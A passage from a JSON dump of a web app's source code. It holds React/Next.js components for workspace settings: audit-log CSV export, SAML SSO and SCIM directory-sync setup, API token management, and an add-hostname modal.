    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport WorkspaceSettingsClient from \"./page-client\";\n\nexport default function WorkspaceSettings() {\n  return (\n    <PageContent title=\"General\">\n      <PageWidthWrapper>\n        <WorkspaceSettingsClient />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/security/audit-logs.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport SimpleDateRangePicker from \"@/ui/shared/simple-date-range-picker\";\nimport { Button, TooltipContent } from \"@dub/ui\";\nimport { subMonths } from \"date-fns\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\n\nexport function AuditLogs() {\n  const [loading, setLoading] = useState(false);\n  const { plan, slug, id: workspaceId } = useWorkspace();\n  const searchParams = useSearchParams();\n  const start =\n    searchParams.get(\"start\") || subMonths(new Date(), 12).toISOString();\n  const end = searchParams.get(\"end\") || new Date().toISOString();\n\n  const { canExportAuditLogs } = getPlanCapabilities(plan);\n\n  const exportAuditLogs = async () => {\n    if (!workspaceId) {\n      return;\n    }\n\n    setLoading(true);\n\n    const lid = toast.loading(\"Exporting audit logs...\");\n\n    try {\n      const response = await fetch(\n        `/api/audit-logs/export?workspaceId=${workspaceId}`,\n        {\n          method: \"POST\",\n          body: JSON.stringify({\n            start,\n            end,\n          }),\n          headers: {\n            \"Content-Type\": \"application/json\",\n          },\n        },\n      );\n\n      if (!response.ok) {\n        const { error } = await response.json();\n        throw new Error(error.message);\n      }\n\n      const blob = await response.blob();\n      const url = window.URL.createObjectURL(blob);\n      const a = document.createElement(\"a\");\n\n      a.href = url;\n      a.download = `Dub Audit Logs Export - ${new Date().toISOString()}.csv`;\n      a.click();\n\n      toast.success(\"Exported successfully\");\n    } catch (error) {\n      toast.error(error);\n    } finally {\n      setLoading(false);\n      toast.dismiss(lid);\n    }\n  };\n\n  return (\n    <div className=\"mb-6 rounded-xl border border-neutral-200 bg-white\">\n      <div className=\"relative flex flex-col gap-5 p-5\">\n        <div className=\"flex flex-col gap-1\">\n          <h2 className=\"text-base font-medium text-neutral-900\">Audit Logs</h2>\n          <p className=\"text-sm text-neutral-500\">\n            Workspace partner and payout history\n          </p>\n        </div>\n        <div className=\"flex flex-col items-start justify-between space-y-4 rounded-xl border border-neutral-200 bg-white p-4 sm:flex-row sm:items-center sm:justify-between sm:space-y-0\">\n          <SimpleDateRangePicker\n            className=\"w-full sm:max-w-xs\"\n            align=\"start\"\n            disabled={!canExportAuditLogs}\n            defaultInterval=\"1y\"\n          />\n\n          <Button\n            text=\"Export CSV\"\n            variant=\"secondary\"\n            className=\"w-full sm:w-auto\"\n            disabledTooltip={\n              !canExportAuditLogs && (\n                <TooltipContent\n                  title=\"Audit log export is only available on the Enterprise Plan.\"\n                  cta=\"Contact sales\"\n                  href=\"https://dub.co/enterprise\"\n                  target=\"_blank\"\n                />\n              )\n            }\n            disabled={!canExportAuditLogs}\n            onClick={exportAuditLogs}\n            loading={loading}\n          />\n        </div>\n      </div>\n\n      {!canExportAuditLogs && (\n        <div className=\"flex flex-col items-start justify-between space-y-3 rounded-b-xl border-t border-neutral-200 bg-neutral-50 px-5 py-4 sm:flex-row sm:items-center sm:justify-between sm:space-y-0\">\n          <span className=\"text-sm text-neutral-500\">\n            Audit logs are available on the{\" \"}\n            <a\n              href=\"https://dub.co/enterprise\"\n              target=\"_blank\"\n              className=\"text-neutral-700 underline\"\n            >\n              Enterprise Plan\n            </a>\n          </span>\n          <Button\n            text=\"Upgrade\"\n            className=\"h-8 w-auto px-5\"\n            onClick={() =>\n              window.open(\n                slug ? `/${slug}/upgrade` : \"https://dub.co/enterprise\",\n                \"_blank\",\n              )\n            }\n          />\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/security/layout.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ReactNode } from \"react\";\n\nexport default function SecurityLayout({ children }: { children: ReactNode }) {\n  return (\n    <PageContent title=\"Security\">\n      <PageWidthWrapper>{children}</PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/security/page-client.tsx",
    "content": "\"use client\";\n\nimport { AuditLogs } from \"./audit-logs\";\nimport { SAML } from \"./saml\";\nimport { SCIM } from \"./scim\";\n\nexport default function WorkspaceSecurityClient() {\n  return (\n    <div className=\"flex flex-col gap-6\">\n      <SAML />\n      <SCIM />\n      <AuditLogs />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/security/page.tsx",
    "content": "import WorkspaceSecurityClient from \"./page-client\";\n\nexport default function WorkspaceSecurity() {\n  return <WorkspaceSecurityClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/security/saml.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useSAML from \"@/lib/swr/use-saml\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useRemoveSAMLModal } from \"@/ui/modals/remove-saml-modal\";\nimport { useSAMLModal } from \"@/ui/modals/saml-modal\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport {\n  Badge,\n  Button,\n  Globe2,\n  IconMenu,\n  Popover,\n  Switch,\n  TooltipContent,\n  useOptimisticUpdate,\n} from \"@dub/ui\";\nimport { SAML_PROVIDERS } from \"@dub/utils\";\nimport { Lock, ShieldOff } from \"lucide-react\";\nimport { useMemo, useState } from \"react\";\n\nexport function SAML() {\n  const { id: workspaceId, plan, role, ssoEmailDomain } = useWorkspace();\n  const { SAMLModal, setShowSAMLModal } = useSAMLModal();\n  const { RemoveSAMLModal, setShowRemoveSAMLModal } = useRemoveSAMLModal();\n  const { provider, configured, loading } = useSAML();\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const permissionsError = clientAccessCheck({\n    action: \"workspaces.write\",\n    role,\n    customPermissionDescription: \"configure SAML SSO\",\n  }).error;\n\n  const {\n    data: workspaceData,\n    isLoading,\n    update,\n  } = useOptimisticUpdate<{\n    ssoEnforcedAt: string | null;\n  }>(`/api/workspaces/${workspaceId}`, {\n    loading: \"Saving SAML SSO login setting...\",\n    success: \"SAML SSO login setting has been updated successfully.\",\n    error: \"Failed to update SAML SSO login settings.\",\n  });\n\n  const currentProvider = useMemo(\n    () => provider && SAML_PROVIDERS.find((p) => p.name.startsWith(provider)),\n    [provider],\n  );\n\n  const data = useMemo(() => {\n    if (loading) {\n      return {\n        logo: null,\n        title: null,\n        description: null,\n      };\n    } else if (currentProvider) {\n      return {\n        logo: (\n          <img\n            src={currentProvider.logo}\n            alt={currentProvider.name}\n            className=\"h-8 w-8\"\n          />\n        ),\n        title: `${currentProvider.name} SAML`,\n        description: \"SAML SSO is configured for your workspace.\",\n      };\n    } else {\n      return {\n        status: \"unconfigured\",\n        logo: (\n          <div className=\"rounded-full border border-neutral-200 p-2\">\n            <Lock className=\"h-4 w-4 text-neutral-600\" />\n          </div>\n        ),\n        title: \"SAML\",\n        description: \"Choose an identity provider to get started.\",\n      };\n    }\n  }, [provider, configured, loading]);\n\n  const handleSSOEnforcementChange = async (enforceSAML: boolean) => {\n    if (!configured) {\n      return;\n    }\n\n    const updateWorkspace = async () => {\n      const response = await fetch(`/api/workspaces/${workspaceId}`, {\n        method: \"PATCH\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n        body: JSON.stringify({ enforceSAML }),\n      });\n\n      if (!response.ok) {\n        const { error } = await response.json();\n        throw new Error(error.message || \"Failed to update workspace.\");\n      }\n\n      const data = await response.json();\n\n      return {\n        ssoEnforcedAt: data.ssoEnforcedAt,\n      };\n    };\n\n    await update(updateWorkspace, {\n      ssoEnforcedAt: enforceSAML ? new Date().toISOString() : null,\n    });\n  };\n\n  return (\n    <>\n      {configured ? <RemoveSAMLModal /> : <SAMLModal />}\n      <div className=\"rounded-xl border border-neutral-200 bg-white\">\n        <div className=\"relative flex flex-col gap-5 p-5\">\n          <div className=\"flex flex-col gap-1\">\n            <h2 className=\"text-base font-medium text-neutral-900\">\n              SAML Single Sign-On\n            </h2>\n            <p className=\"text-sm text-neutral-500\">\n              Set up SAML Single Sign-On (SSO) to allow your team to sign in to{\" \"}\n              {process.env.NEXT_PUBLIC_APP_NAME} with your identity provider.\n            </p>\n          </div>\n\n          <div className=\"rounded-xl border border-neutral-200 bg-white\">\n            <div className=\"flex flex-col items-start justify-between space-y-4 px-4 py-4 sm:flex-row sm:items-center sm:justify-between sm:space-y-0\">\n              <div className=\"flex flex-col items-start gap-4 sm:flex-row sm:items-center\">\n                {data.logo || (\n                  <div className=\"h-8 w-8 animate-pulse rounded-full bg-neutral-100\" />\n                )}\n                <div className=\"flex flex-col\">\n                  {data.title ? (\n                    <h3 className=\"font-medium\">{data.title}</h3>\n                  ) : (\n                    <div className=\"h-5 w-20 animate-pulse rounded-md bg-neutral-100\" />\n                  )}\n                  {data.description ? (\n                    <p className=\"text-sm text-neutral-500\">\n                      {data.description}\n                    </p>\n                  ) : (\n                    <div className=\"mt-2 h-4 w-40 animate-pulse rounded-md bg-neutral-100\" />\n                  )}\n                </div>\n              </div>\n              <div>\n                {loading ? (\n                  <div className=\"h-9 w-24 animate-pulse rounded-md bg-neutral-100\" />\n                ) : configured ? (\n                  <Popover\n                    content={\n                      <div className=\"grid w-full gap-1 p-2 sm:w-48\">\n                        <button\n                          onClick={() => {\n                            setShowRemoveSAMLModal(true);\n                            setOpenPopover(false);\n                          }}\n                          className=\"rounded-md p-2 text-left text-sm font-medium text-red-600 transition-all duration-75 hover:bg-red-600 hover:text-white\"\n                        >\n                          <IconMenu\n                            text=\"Remove\"\n                            icon={<ShieldOff className=\"h-4 w-4\" />}\n                          />\n                        </button>\n                      </div>\n                    }\n                    align=\"end\"\n                    openPopover={openPopover}\n                    setOpenPopover={setOpenPopover}\n                  >\n                    <button\n                      type=\"button\"\n                      onClick={(e) => {\n                        e.stopPropagation();\n                        setOpenPopover(!openPopover);\n                      }}\n                      className=\"rounded-md px-1 py-2 transition-all duration-75 hover:bg-neutral-100 active:bg-neutral-200\"\n                    >\n                      <span className=\"sr-only\">Edit</span>\n                      <ThreeDots className=\"h-5 w-5 text-neutral-500\" />\n                    </button>\n                  </Popover>\n                ) : (\n                  <Button\n                    text=\"Configure\"\n                    onClick={() => setShowSAMLModal(true)}\n                    disabledTooltip={\n                      plan !== \"enterprise\" ? (\n                        <TooltipContent\n                          title=\"SAML SSO is only available on Enterprise plans. Upgrade to get started.\"\n                          cta=\"Contact sales\"\n                          href=\"https://dub.co/enterprise\"\n                          target=\"_blank\"\n                        />\n                      ) : (\n                        permissionsError || undefined\n                      )\n                    }\n                  />\n                )}\n              </div>\n            </div>\n\n            <div className=\"flex items-center justify-between rounded-b-xl border-t border-neutral-200 bg-neutral-50 px-4 py-3\">\n              <div className=\"flex items-center gap-2\">\n                <label className=\"text-sm font-medium text-neutral-800\">\n                  Require workspace members to login with SAML to access this\n                  workspace\n                </label>\n                {workspaceData?.ssoEnforcedAt && (\n                  <Badge\n                    variant=\"blueGradient\"\n                    className=\"flex items-center gap-1\"\n                  >\n                    <Globe2 className=\"size-3\" />\n                    {ssoEmailDomain}\n                  </Badge>\n                )}\n              </div>\n              <Switch\n                checked={workspaceData?.ssoEnforcedAt !== null}\n                loading={isLoading}\n                disabled={plan !== \"enterprise\"}\n                fn={handleSSOEnforcementChange}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"rounded-b-xl border-t border-neutral-200 bg-neutral-50 px-5 pb-4 pt-3\">\n          <a\n            href=\"https://dub.co/help/category/saml-sso\"\n            target=\"_blank\"\n            className=\"text-sm text-neutral-400 underline underline-offset-4 transition-colors hover:text-neutral-700\"\n          >\n            Learn more about SAML SSO\n          </a>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/security/scim.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useSCIM from \"@/lib/swr/use-scim\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useRemoveSCIMModal } from \"@/ui/modals/remove-scim-modal\";\nimport { useSCIMModal } from \"@/ui/modals/scim-modal\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { Button, IconMenu, Popover, TooltipContent } from \"@dub/ui\";\nimport { SAML_PROVIDERS } from \"@dub/utils\";\nimport { FolderSync, ShieldOff } from \"lucide-react\";\nimport { useMemo, useState } from \"react\";\n\nexport function SCIM() {\n  const { plan, role } = useWorkspace();\n  const { SCIMModal, setShowSCIMModal } = useSCIMModal();\n  const { RemoveSCIMModal, setShowRemoveSCIMModal } = useRemoveSCIMModal();\n\n  const { provider, configured, loading } = useSCIM();\n\n  const permissionsError = clientAccessCheck({\n    action: \"workspaces.write\",\n    role,\n    customPermissionDescription: \"configure SCIM Directory Sync\",\n  }).error;\n\n  const data = useMemo(() => {\n    if (loading) {\n      return {\n        logo: null,\n        title: null,\n        description: null,\n      };\n    } else if (configured) {\n      return {\n        logo: (\n          <img\n            src={SAML_PROVIDERS.find((p) => p.scim === provider)!.logo}\n            alt={`${provider} logo`}\n            className=\"h-8 w-8\"\n          />\n        ),\n        title: `${SAML_PROVIDERS.find((p) => p.scim === provider)!.name} SCIM`,\n        description: \"SCIM directory sync is configured for your workspace.\",\n      };\n    } else\n      return {\n        logo: (\n          <div className=\"rounded-full border border-neutral-200 p-2\">\n            <FolderSync className=\"h-4 w-4 text-neutral-600\" />\n          </div>\n        ),\n        title: \"SCIM\",\n        description: \"Choose an identity provider to get started.\",\n      };\n  }, [provider, configured, loading]);\n\n  const [openPopover, setOpenPopover] = useState(false);\n\n  return (\n    <>\n      <SCIMModal />\n      {configured && <RemoveSCIMModal />}\n      <div className=\"rounded-xl border border-neutral-200 bg-white\">\n        <div className=\"relative flex flex-col gap-5 p-5\">\n          <div className=\"flex flex-col gap-1\">\n            <h2 className=\"text-base font-medium text-neutral-900\">\n              Directory Sync\n            </h2>\n            <p className=\"text-sm text-neutral-500\">\n              Automatically provision and deprovision users from your identity\n              provider.\n            </p>\n          </div>\n\n          <div className=\"rounded-xl border border-neutral-200 bg-white\">\n            <div className=\"flex flex-col items-start justify-between space-y-4 px-4 py-4 sm:flex-row sm:items-center sm:justify-between sm:space-y-0\">\n              <div className=\"flex flex-col items-start gap-4 sm:flex-row sm:items-center\">\n                {data.logo || (\n                  <div className=\"h-8 w-8 animate-pulse rounded-full bg-neutral-100\" />\n                )}\n                <div className=\"flex flex-col\">\n                  {data.title ? (\n                    <h3 className=\"font-medium\">{data.title}</h3>\n                  ) : (\n                    <div className=\"h-5 w-20 animate-pulse rounded-md bg-neutral-100\" />\n                  )}\n                  {data.description ? (\n                    <p className=\"text-sm text-neutral-500\">\n                      {data.description}\n                    </p>\n                  ) : (\n                    <div className=\"mt-2 h-4 w-40 animate-pulse rounded-md bg-neutral-100\" />\n                  )}\n                </div>\n              </div>\n              <div>\n                {loading ? (\n                  <div className=\"h-9 w-24 animate-pulse rounded-md bg-neutral-100\" />\n                ) : configured ? (\n                  <Popover\n                    content={\n                      <div className=\"grid w-full gap-1 p-2 sm:w-48\">\n                        <button\n                          onClick={() => {\n                            setShowSCIMModal(true);\n                            setOpenPopover(false);\n                          }}\n                          className=\"rounded-md p-2 text-sm font-medium text-neutral-500 transition-all duration-75 hover:bg-neutral-100\"\n                        >\n                          <IconMenu\n                            text=\"View configuration\"\n                            icon={<FolderSync className=\"h-4 w-4\" />}\n                          />\n                        </button>\n                        <button\n                          onClick={() => {\n                            setShowRemoveSCIMModal(true);\n                            setOpenPopover(false);\n                          }}\n                          className=\"rounded-md p-2 text-left text-sm font-medium text-red-600 transition-all duration-75 hover:bg-red-600 hover:text-white\"\n                        >\n                          <IconMenu\n                            text=\"Remove\"\n                            icon={<ShieldOff className=\"h-4 w-4\" />}\n                          />\n                        </button>\n                      </div>\n                    }\n                    align=\"end\"\n                    openPopover={openPopover}\n                    setOpenPopover={setOpenPopover}\n                  >\n                    <button\n                      type=\"button\"\n                      onClick={(e) => {\n                        e.stopPropagation();\n                        setOpenPopover(!openPopover);\n                      }}\n                      className=\"rounded-md px-1 py-2 transition-all duration-75 hover:bg-neutral-100 active:bg-neutral-200\"\n                    >\n                      <span className=\"sr-only\">Edit</span>\n                      <ThreeDots className=\"h-5 w-5 text-neutral-500\" />\n                    </button>\n                  </Popover>\n                ) : (\n                  <Button\n                    text=\"Configure\"\n                    disabledTooltip={\n                      plan !== \"enterprise\" ? (\n                        <TooltipContent\n                          title=\"SCIM Directory Sync is only available on Enterprise plans. Upgrade to get started.\"\n                          cta=\"Contact sales\"\n                          href=\"https://dub.co/enterprise\"\n                          target=\"_blank\"\n                        />\n                      ) : (\n                        permissionsError || undefined\n                      )\n                    }\n                    onClick={() => setShowSCIMModal(true)}\n                  />\n                )}\n              </div>\n            </div>\n          </div>\n        </div>\n\n        <div className=\"rounded-b-xl border-t border-neutral-200 bg-neutral-50 px-5 pb-4 pt-3\">\n          <a\n            href=\"https://dub.co/help/category/saml-sso\"\n            target=\"_blank\"\n            className=\"text-sm text-neutral-400 underline underline-offset-4 transition-colors hover:text-neutral-700\"\n          >\n            Learn more about SCIM Directory Sync\n          </a>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tokens/page.tsx",
    "content": "\"use client\";\n\nimport { scopesToName } from \"@/lib/api/tokens/scopes\";\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { TokenProps } from \"@/lib/types\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { useAddEditTokenModal } from \"@/ui/modals/add-edit-token-modal\";\nimport { useDeleteTokenModal } from \"@/ui/modals/delete-token-modal\";\nimport { useTokenCreatedModal } from \"@/ui/modals/token-created-modal\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { Delete } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  buttonVariants,\n  Dots,\n  Icon,\n  Key,\n  PenWriting,\n  Popover,\n  Table,\n  Tooltip,\n  usePagination,\n  useTable,\n} from \"@dub/ui\";\nimport { cn, fetcher, OG_AVATAR_URL, timeAgo } from \"@dub/utils\";\nimport { Command } from \"cmdk\";\nimport { useState } from \"react\";\nimport useSWR from \"swr\";\n\nexport default function TokensPage() {\n  const { id: workspaceId, role } = useWorkspace();\n  const { pagination, setPagination } = usePagination();\n  const [createdToken, setCreatedToken] = useState<string | null>(null);\n  const [selectedToken, setSelectedToken] = useState<TokenProps | null>(null);\n\n  const {\n    data: tokens,\n    isLoading,\n    error,\n  } = useSWR<TokenProps[]>(`/api/tokens?workspaceId=${workspaceId}`, fetcher);\n\n  const { TokenCreatedModal, setShowTokenCreatedModal } = useTokenCreatedModal({\n    token: createdToken || \"\",\n  });\n\n  const onTokenCreated = (token: string) => {\n    setCreatedToken(token);\n    setShowTokenCreatedModal(true);\n  };\n\n  const { AddEditTokenModal, AddTokenButton, setShowAddEditTokenModal } =\n    useAddEditTokenModal({\n      ...(selectedToken && {\n        token: {\n          id: selectedToken.id,\n          name: selectedToken.name,\n          isMachine: selectedToken.user.isMachine,\n          scopes: mapScopesToResource(selectedToken.scopes),\n        },\n      }),\n      ...(!selectedToken && { onTokenCreated }),\n      setSelectedToken,\n    });\n\n  const accessCheckError = clientAccessCheck({\n    action: \"tokens.write\",\n    role,\n    customPermissionDescription: \"update or delete API keys\",\n  }).error;\n\n  const TokenEmptyState = () => (\n    <AnimatedEmptyState\n      title=\"No tokens found\"\n      description=\"No tokens have been created for this workspace yet.\"\n      cardContent={() => (\n        <>\n          <Key className=\"size-4 text-neutral-700\" />\n          <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n        </>\n      )}\n      addButton={<AddTokenButton />}\n      learnMoreHref=\"https://dub.co/docs/api-reference/tokens\"\n    />\n  );\n\n  const { table, ...tableProps } = useTable({\n    data: tokens || [],\n    loading: isLoading && !error && !tokens,\n    error: error ? \"Failed to fetch tokens.\" : undefined,\n    columns: [\n      {\n        id: \"name\",\n        header: \"Name\",\n        accessorKey: \"name\",\n        cell: ({ row }) => {\n          return (\n            <span className=\"flex items-center gap-2\">\n              <Key className=\"size-4 text-neutral-500\" />\n              {row.original.name}\n            </span>\n          );\n        },\n      },\n      {\n        id: \"permissions\",\n        header: \"Permissions\",\n        accessorKey: \"scopes\",\n        cell: ({ row }) => scopesToName(row.original.scopes).name,\n      },\n      {\n        id: \"user\",\n        header: \"Created\",\n        accessorKey: \"user\",\n        cell: ({ row }) => {\n          return (\n            <div className=\"flex items-center gap-2\">\n              <Tooltip content={row.original.user.name}>\n                <img\n                  src={\n                    row.original.user.isMachine\n                      ? `https://api.dicebear.com/7.x/bottts/svg?seed=${row.original.user.id}`\n                      : row.original.user.image ||\n                        `${OG_AVATAR_URL}${row.original.user.id}`\n                  }\n                  alt={row.original.user.name!}\n                  className=\"size-5 rounded-full\"\n                />\n              </Tooltip>\n              <p>\n                {new Date(row.original.createdAt).toLocaleDateString(\"en-us\", {\n                  month: \"short\",\n                  day: \"numeric\",\n                  year: \"numeric\",\n                })}\n              </p>\n            </div>\n          );\n        },\n      },\n      {\n        id: \"partialKey\",\n        header: \"Key\",\n        accessorKey: \"partialKey\",\n        cell: ({ row }) => row.original.partialKey,\n      },\n      {\n        id: \"lastUsed\",\n        header: \"Last used\",\n        accessorKey: \"lastUsed\",\n        cell: ({ row }) => timeAgo(row.original.lastUsed),\n      },\n\n      // Menu\n      {\n        id: \"menu\",\n        enableHiding: false,\n        cell: ({ row }) => (\n          <RowMenuButton\n            token={row.original}\n            onEdit={() => {\n              setSelectedToken(row.original);\n              setShowAddEditTokenModal(true);\n            }}\n          />\n        ),\n      },\n    ],\n    pagination,\n    onPaginationChange: setPagination,\n    rowCount: tokens?.length || 0,\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    onRowClick: accessCheckError\n      ? undefined\n      : (row) => {\n          setSelectedToken(row.original);\n          setShowAddEditTokenModal(true);\n        },\n    emptyState: <TokenEmptyState />,\n    resourceName: (plural) => `token${plural ? \"s\" : \"\"}`,\n  });\n\n  return (\n    <>\n      <TokenCreatedModal />\n      <AddEditTokenModal />\n\n      <PageContent\n        title=\"Secret keys\"\n        titleInfo={{\n          title:\n            \" These API keys allow other apps to access your workspace. Use it with caution – do not share your API key with others, or expose it in the browser or other client-side code.\",\n          href: \"https://dub.co/docs/api-reference/tokens\",\n        }}\n        controls={<AddTokenButton />}\n      >\n        <PageWidthWrapper>\n          <div className=\"grid grid-cols-1\">\n            {tokens?.length !== 0 ? (\n              <Table {...tableProps} table={table} />\n            ) : (\n              <TokenEmptyState />\n            )}\n          </div>\n        </PageWidthWrapper>\n      </PageContent>\n    </>\n  );\n}\n\nfunction RowMenuButton({\n  token,\n  onEdit,\n}: {\n  token: TokenProps;\n  onEdit: () => void;\n}) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  const { role } = useWorkspace();\n  const { DeleteTokenModal, setShowDeleteTokenModal } = useDeleteTokenModal({\n    token,\n  });\n\n  return (\n    <>\n      <DeleteTokenModal />\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <Command tabIndex={0} loop>\n            <Command.List className=\"flex w-screen flex-col gap-1 p-1.5 text-sm focus-visible:outline-none sm:w-auto sm:min-w-[130px]\">\n              <MenuItem icon={PenWriting} label=\"Edit\" onSelect={onEdit} />\n\n              <MenuItem\n                icon={Delete}\n                label=\"Delete\"\n                danger={true}\n                onSelect={() => {\n                  setIsOpen(false);\n                  setShowDeleteTokenModal(true);\n                }}\n              />\n            </Command.List>\n          </Command>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"size-8 shrink-0 whitespace-nowrap rounded-lg p-0\"\n          variant=\"outline\"\n          icon={<Dots className=\"h-4 w-4 shrink-0\" />}\n          disabledTooltip={\n            clientAccessCheck({\n              action: \"tokens.write\",\n              role,\n              customPermissionDescription: \"update or delete API keys\",\n            }).error\n          }\n        />\n      </Popover>\n    </>\n  );\n}\n\nfunction MenuItem({\n  icon: IconComp,\n  label,\n  onSelect,\n  danger,\n}: {\n  icon: Icon;\n  label: string;\n  onSelect: () => void;\n  danger?: boolean;\n}) {\n  return (\n    <Command.Item\n      className={cn(\n        \"flex cursor-pointer select-none items-center gap-2 whitespace-nowrap rounded-md p-2 text-sm text-neutral-600\",\n        danger\n          ? buttonVariants({ variant: \"danger-outline\" })\n          : \"text-neutral-500 data-[selected=true]:bg-neutral-100\",\n      )}\n      onSelect={onSelect}\n    >\n      <IconComp\n        className={cn(\n          \"size-4 shrink-0\",\n          danger ? \"hover:bg-red-600 hover:text-white\" : \"text-neutral-500\",\n        )}\n      />\n      {label}\n    </Command.Item>\n  );\n}\n\nconst mapScopesToResource = (scopes: string[]) => {\n  const result = scopes.map((scope) => {\n    const [resource] = scope.split(\".\");\n\n    return {\n      [resource]: scope,\n    };\n  });\n\n  return Object.assign({}, ...result);\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/tracking/add-hostname-modal.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, LoadingDots, Modal, useMediaQuery } from \"@dub/ui\";\nimport { cn, validDomainRegex } from \"@dub/utils\";\nimport { useCallback, useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\n\nconst AddHostnameForm = ({\n  onCreate,\n  onCancel,\n}: {\n  onCreate: () => void;\n  onCancel?: () => void;\n}) => {\n  const [hostname, setHostname] = useState(\"\");\n  const [processing, setProcessing] = useState(false);\n  const { id, allowedHostnames, mutate, role } = useWorkspace();\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"workspaces.write\",\n    role,\n    customPermissionDescription: \"add hostnames\",\n  });\n\n  const isValidHostname = (hostname: string) => {\n    return (\n      validDomainRegex.test(hostname) ||\n      hostname === \"localhost\" ||\n      hostname.startsWith(\"*.\")\n    );\n  };\n\n  const addHostname = async () => {\n    if (allowedHostnames?.includes(hostname)) {\n      toast.error(\"Hostname already exists.\");\n      return;\n    }\n\n    if (!isValidHostname(hostname)) {\n      toast.error(\"Enter a valid domain.\");\n      return;\n    }\n\n    setProcessing(true);\n\n    const response = await fetch(`/api/workspaces/${id}`, {\n      method: \"PATCH\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        allowedHostnames: [...(allowedHostnames || []), hostname],\n      }),\n    });\n\n    if (response.ok) {\n      toast.success(\"Hostname added.\");\n      onCreate();\n    } else {\n      const { error } = await response.json();\n      toast.error(error.message);\n    }\n\n    mutate();\n    setProcessing(false);\n    setHostname(\"\");\n  };\n\n  const { isMobile } = useMediaQuery();\n\n  return (\n    <form\n      className=\"bg-neutral-50\"\n      onSubmit={(e) => {\n        e.preventDefault();\n        addHostname();\n      }}\n    >\n      <div className=\"relative flex-1 rounded-md px-6 py-5\">\n        <input\n          type=\"text\"\n          required\n          value={hostname}\n          onChange={(e) => setHostname(e.target.value)}\n          autoComplete=\"off\"\n          autoFocus={!isMobile}\n          placeholder=\"example.com or *.example.com\"\n          className={cn(\n            \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n          )}\n        />\n      </div>\n\n      <div className=\"flex items-center justify-between gap-2 border-t border-neutral-200 px-6 py-5\">\n        <div>{processing && <LoadingDots />}</div>\n        <div className=\"flex items-center gap-2\">\n          <Button\n            onClick={() => onCancel?.()}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text=\"Add hostname\"\n            className=\"h-8 w-fit px-3\"\n            disabled={!isValidHostname(hostname)}\n            loading={processing}\n            disabledTooltip={permissionsError || undefined}\n          />\n        </div>\n      </div>\n    </form>\n  );\n};\n\ninterface AddHostnameModalProps {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n}\n\nconst AddHostnameModal = ({\n  showModal,\n  setShowModal,\n}: AddHostnameModalProps) => {\n  const close = () => setShowModal(false);\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"flex items-center justify-between border-b border-neutral-200 p-4\">\n        <h3 className=\"text-lg font-medium\">Add hostname</h3>\n        <button\n          type=\"button\"\n          onClick={close}\n          className=\"group rounded-full p-2 text-neutral-500 transition-all duration-75 hover:bg-neutral-100 focus:outline-none active:bg-neutral-200\"\n        >\n          <X className=\"h-5 w-5\" />\n        </button>\n      </div>\n\n      <div className=\"bg-neutral-50\">\n        <AddHostnameForm onCancel={close} onCreate={close} 